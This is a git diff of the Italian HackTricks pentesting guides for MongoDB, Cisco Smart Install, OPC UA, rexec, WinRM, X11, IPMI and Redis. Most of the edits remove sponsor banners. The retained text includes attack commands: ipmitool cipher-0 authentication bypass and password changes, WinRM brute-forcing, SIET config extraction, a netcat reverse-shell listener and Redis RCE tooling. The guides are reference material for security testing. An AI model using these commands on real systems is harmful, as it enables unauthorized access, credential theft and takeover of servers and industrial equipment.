byte**: ![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png) @@ -95,7 +80,7 @@ Ad esempio, ecco come possiamo analizzare un ID Object reale restituito da un'ap 3. 2500: ID del processo 4. 314019: Un contatore incrementale -Dei suddetti elementi, l'identificatore della macchina rimarrà lo stesso finché il database sta eseguendo la stessa macchina fisica/virtuale. L'ID del processo cambierà solo se il processo MongoDB viene riavviato. Il timestamp verrà aggiornato ogni secondo. L'unica sfida nel prevedere gli ID Object semplicemente incrementando i valori del contatore e del timestamp, è il fatto che Mongo DB genera ID Object e assegna ID Object a livello di sistema. +Dei suddetti elementi, l'identificatore della macchina rimarrà lo stesso finché il database sta eseguendo la stessa macchina fisica/virtuale. L'ID del processo cambierà solo se il processo MongoDB viene riavviato. Il timestamp verrà aggiornato ogni secondo. L'unica sfida nel prevedere gli ID Object semplicemente incrementando i valori del contatore e del timestamp, è il fatto che Mongo DB genera gli ID Object e assegna gli ID Object a livello di sistema. Lo strumento [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), dato un ID Object di partenza (puoi creare un account e ottenere un ID di partenza), restituisce circa 1000 probabili ID Object che potrebbero essere stati assegnati ai prossimi oggetti, quindi devi solo forzarli. @@ -105,19 +90,4 @@ Se sei root puoi **modificare** il file **mongodb.conf** in modo che non siano n --- -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index a502f0e3f..d782818bc 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -2,13 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Informazioni di base -**Cisco Smart Install** è un sistema progettato da Cisco per automatizzare la configurazione iniziale e il caricamento di un'immagine del sistema operativo per nuovo hardware Cisco. **Per impostazione predefinita, Cisco Smart Install è attivo sull'hardware Cisco e utilizza il protocollo di trasporto, TCP, con il numero di porta 4786.** +**Cisco Smart Install** è un sistema progettato da Cisco per automatizzare la configurazione iniziale e il caricamento di un'immagine del sistema operativo per nuovo hardware Cisco. **Per impostazione predefinita, Cisco Smart Install è attivo sull'hardware Cisco e utilizza il protocollo di trasporto TCP, con numero di porta 4786.** **Porta predefinita:** 4786 ``` @@ -29,7 +26,7 @@ PORT STATE SERVICE **Il dispositivo target sarà uno switch Cisco Catalyst 2960 "live". Le immagini virtuali non hanno Cisco Smart Install, quindi puoi praticare solo sull'hardware reale.** -L'indirizzo dello switch target è **10.10.100.10 e CSI è attivo.** Carica SIET e inizia l'attacco. **L'argomento -g** significa estrazione della configurazione dal dispositivo, **l'argomento -i** ti consente di impostare l'indirizzo IP del target vulnerabile. +L'indirizzo dello switch target è **10.10.100.10 e CSI è attivo.** Carica SIET e inizia l'attacco. **L'argomento -g** significa estrazione della configurazione dal dispositivo, **l'argomento -i** consente di impostare l'indirizzo IP del target vulnerabile. ``` ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ``` @@ -39,8 +36,5 @@ La configurazione dello switch **10.10.100.10** sarà nella cartella **tftp/**
-
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index fa626cd3f..75ae9a372 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -2,19 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Informazioni di base **OPC UA**, che sta per **Open Platform Communications Unified Access**, è un protocollo open-source cruciale utilizzato in vari settori come Manifattura, Energia, Aerospaziale e Difesa per lo scambio di dati e il controllo delle attrezzature. Consente in modo unico la comunicazione tra le attrezzature di diversi fornitori, in particolare con i PLC. -La sua configurazione consente misure di sicurezza robuste, ma spesso, per compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard. +La sua configurazione consente misure di sicurezza robuste, ma spesso, per la compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard. **Porta predefinita:** 4840 ```text @@ -29,7 +21,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ``` ### Sfruttare le vulnerabilità -Se vengono trovate vulnerabilità di bypass dell'autenticazione, puoi configurare un [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa puoi accedere. Questo può consentire di fare qualsiasi cosa, dalla semplice lettura dei valori di processo all'effettivo funzionamento di attrezzature industriali pesanti. +Se vengono trovate vulnerabilità di bypass dell'autenticazione, puoi configurare un [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa puoi accedere. Questo può consentire di tutto, dalla semplice lettura dei valori di processo all'effettivo funzionamento di attrezzature industriali pesanti. Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "ServerStatus" nello spazio degli indirizzi e cerca un manuale d'uso su Google. @@ -41,12 +33,5 @@ Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "Se - [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index bc569c241..7da986aa4 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -2,31 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Informazioni di base +## Informazioni di Base È un servizio che **ti consente di eseguire un comando all'interno di un host** se conosci **credenziali** valide (nome utente e password). -**Porta predefinita:** 512 +**Porta Predefinita:** 512 ``` PORT STATE SERVICE 512/tcp open exec ``` ### [**Brute-force**](../generic-hacking/brute-force.md#rexec) -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index ff7beee11..4d1218e2f 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -2,26 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - ## WinRM [Windows Remote Management (WinRM)]() è evidenziato come un **protocollo di Microsoft** che consente la **gestione remota dei sistemi Windows** tramite HTTP(S), sfruttando SOAP nel processo. È fondamentalmente alimentato da WMI, presentandosi come un'interfaccia basata su HTTP per le operazioni WMI. -La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, è consigliato controllare l'apertura di porte specifiche: +La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, si consiglia di controllare l'apertura di porte specifiche: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -30,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen ### **Iniziare una sessione WinRM** -Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, possono essere eseguiti i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile: +Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * @@ -67,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al ``` ![](<../images/image (151).png>) -Puoi anche **eseguire un comando della tua console PS attuale tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e desideri **eseguirla su un computer remoto**, puoi fare: +Puoi anche **eseguire un comando della tua console PS attuale tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e che tu voglia **eseguirla su un computer remoto**, puoi fare: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` @@ -137,26 +122,11 @@ Il tentativo sul client (info da [qui](https://serverfault.com/questions/657918/ winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` -
+## Connessione WinRM in Linux -Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! +### Forza Bruta -**Approfondimenti sul hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Connessione WinRM in linux - -### Brute Force - -Fai attenzione, il brute-forcing di winrm potrebbe bloccare gli utenti. +Fai attenzione, forzare winrm potrebbe bloccare gli utenti. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -172,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Leggi **documentazione** su GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -291,19 +261,6 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sulle nuove ricompense per bug in arrivo e aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 547452fe1..0fb462d02 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -2,26 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
+## Informazioni di base -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! +**X Window System** (X) è un sistema di finestre versatile prevalente nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X. -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Basic Information - -**X Window System** (X) è un sistema di finestre versatile prevalente sui sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X. - -**Default port:** 6000 +**Porta predefinita:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 @@ -35,7 +20,7 @@ msf> use auxiliary/scanner/x11/open_x11 ``` #### Enumerazione Locale -Il file **`.Xauthority`** nella cartella home degli utenti è **utilizzato** da **X11 per l'autorizzazione**. Da [**qui**](https://stackoverflow.com/a/37367518): +Il file **`.Xauthority`** nella cartella home dell'utente è **utilizzato** da **X11 per l'autorizzazione**. Da [**qui**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M @@ -133,7 +118,7 @@ Poi, avvia un **listener Netcat** nel tuo sistema locale sulla porta 5555. ```bash nc -lvp 5555 ``` -Quindi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e fai clic su **R-shell** per ottenere una shell +Poi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e clicca su **R-shell** per ottenere una shell ## Riferimenti @@ -145,19 +130,4 @@ Quindi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e fai - `port:6000 x11` -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index fcb20b309..6c71e53b2 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -4,33 +4,28 @@ {{#include ../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni una certificazione: - -{% embed url="https://academy.8ksec.io/" %} ## Informazioni di Base ### **Panoramica di IPMI** -**[Interfaccia di gestione della piattaforma intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre un approccio standardizzato per la gestione e il monitoraggio remoto dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi da remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per: +**[Interfaccia di Gestione della Piattaforma Intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre un approccio standardizzato per la gestione e il monitoraggio remoto dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi da remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per: - Configurazioni pre-avvio OS - Gestione dello spegnimento - Recupero da guasti di sistema -IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni sull'inventario, rivedere i registri hardware e inviare avvisi tramite SNMP. Essenziale per il suo funzionamento sono una fonte di alimentazione e una connessione LAN. +IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni di inventario, rivedere i registri hardware e inviare avvisi tramite SNMP. Essenziale per il suo funzionamento sono una fonte di alimentazione e una connessione LAN. Dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, specialmente con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono: -- **Controller di gestione della scheda madre (BMC):** Il microcontrollore principale per le operazioni IPMI. -- **Bus e interfacce di comunicazione:** Per comunicazioni interne ed esterne, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete. +- **Controller di Gestione della Scheda Madre (BMC):** Il microcontrollore principale per le operazioni IPMI. +- **Bus e Interfacce di Comunicazione:** Per comunicazioni interne ed esterne, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete. - **Memoria IPMI:** Per memorizzare registri e dati. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) -**Porta predefinita**: 623/UDP/TCP (Di solito è su UDP ma potrebbe anche essere in esecuzione su TCP) +**Porta Predefinita**: 623/UDP/TCP (Di solito è su UDP ma potrebbe anche essere in esecuzione su TCP) ## Enumerazione @@ -47,7 +42,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### Vulnerabilità IPMI -Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che un utente valido sia preso di mira. Questa debolezza è stata riscontrata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0. +Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso **cipher type 0**. Questa vulnerabilità, documentata in dettaglio in [la ricerca di Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password fornita che un utente valido sia preso di mira. Questa debolezza è stata trovata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0. ### **Bypass dell'autenticazione IPMI tramite Cipher 0** @@ -61,7 +56,7 @@ apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` -### **Recupero dell'Hash della Password Remota di Autenticazione RAKP IPMI 2.0** +### **Recupero dell'hash della password remota di autenticazione RAKP IPMI 2.0** Questa vulnerabilità consente il recupero delle password hash salate (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo: ```bash @@ -96,7 +91,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## Accessing the Host via BMC -L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di recupero. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini. +L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di ripristino. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini. ## Introducing Backdoors into BMC from the Host @@ -124,10 +119,5 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index c0a6a5124..bb8482789 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -2,28 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
+## Informazioni di base -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Basic Information - -Dai [documenti](https://redis.io/topics/introduction): Redis è un **data structure store** open source (con licenza BSD), in memoria, utilizzato come **database**, cache e broker di messaggi. +Dai [documenti](https://redis.io/topics/introduction): Redis è un **data structure store** open source (con licenza BSD), utilizzato come **database**, cache e message broker. Per impostazione predefinita, Redis utilizza un protocollo basato su testo semplice, ma devi tenere a mente che può anche implementare **ssl/tls**. Scopri come [eseguire Redis con ssl/tls qui](https://fossies.org/linux/redis/TLS.md). -**Default port:** 6379 +**Porta predefinita:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 @@ -46,7 +31,7 @@ In un'istanza Redis regolare puoi semplicemente connetterti usando `nc` oppure p nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` -Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** di simile a quanto segue: +Il **primo comando** che potresti provare è **`info`**. Potrebbe **restituire un output con informazioni** sull'istanza di Redis **o qualcosa** come il seguente: ``` -NOAUTH Authentication required. ``` @@ -90,7 +75,7 @@ Maggiore informazione su come configurare in modo sicuro un servizio Redis qui: Puoi anche **monitorare in tempo reale i comandi Redis** eseguiti con il comando **`monitor`** o ottenere le **25 query più lente** con **`slowlog get 25`** -Trova ulteriori informazioni interessanti su più comandi Redis qui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) +Trova ulteriori informazioni interessanti su altri comandi Redis qui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Dumping Database** @@ -113,7 +98,7 @@ GET ``` In caso tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET `, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla. -Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di lista e hash. +Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di tipo lista e hash. ```bash TYPE [ ... Type of the Key ... ] @@ -127,24 +112,9 @@ DUMP ``` **Dump del database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/) -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - ## Redis RCE -### Shell interattiva +### Shell Interattiva [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) può ottenere automaticamente una shell interattiva o una reverse shell in Redis(<=5.0.5). ``` @@ -247,7 +217,7 @@ Questo metodo può essere utilizzato anche per guadagnare bitcoin ：[yam](https ### Bypass del sandbox LUA -[**Qui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puoi vedere che Redis utilizza il comando **EVAL** per eseguire **codice Lua in sandbox**. Nel post collegato puoi vedere **come abusarne** usando la funzione **dofile**, ma [apparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) questo non è più possibile. Comunque, se riesci a **bypassare il sandbox** Lua potresti **eseguire comandi arbitrari** sul sistema. Inoltre, dallo stesso post puoi vedere alcune **opzioni per causare DoS**. +[**Qui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puoi vedere che Redis utilizza il comando **EVAL** per eseguire **codice Lua sandboxed**. Nel post collegato puoi vedere **come abusarne** usando la funzione **dofile**, ma [apparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) questo non è più possibile. Comunque, se riesci a **bypassare il sandbox Lua** potresti **eseguire comandi arbitrari** sul sistema. Inoltre, dallo stesso post puoi vedere alcune **opzioni per causare DoS**. Alcuni **CVE per sfuggire da LUA**: @@ -285,7 +255,7 